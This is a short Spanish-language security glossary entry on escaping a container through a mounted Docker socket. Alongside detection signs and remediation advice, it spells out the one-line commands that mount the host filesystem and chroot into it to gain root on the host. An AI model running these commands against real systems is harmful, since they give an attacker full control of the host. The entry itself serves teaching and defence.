Saltar al contenido principal

Docker socket mount escape

Container con /var/run/docker.sock montado puede crear nuevos containers vía API.

Categoría: Container & Kubernetes 🎯 Trinchera — Container con /var/run/docker.sock montado puede crear nuevos containers vía API. docker run -v /:/host alpine chroot /host bash → root host. 🔗 Kill chain — Detect: ls /var/run/docker.sock dentro del pod. Si existe → docker -H unix:///var/run/docker.sock run -v /:/host alpine chroot /host. 📡 Huella defensiva — Containers con bind mount del socket; creación de nuevos containers desde dentro de un pod. ⚠️ Falso amigo — Lo mismo aplica a CRI sockets (/run/containerd/containerd.sock), LXC sockets, etc. 🛡️ Remediación — Nunca montar sockets de runtime en containers; usar Kaniko o BuildKit rootless si necesitas builds.
Volver al glosario completo Última actualización: 2026-06-11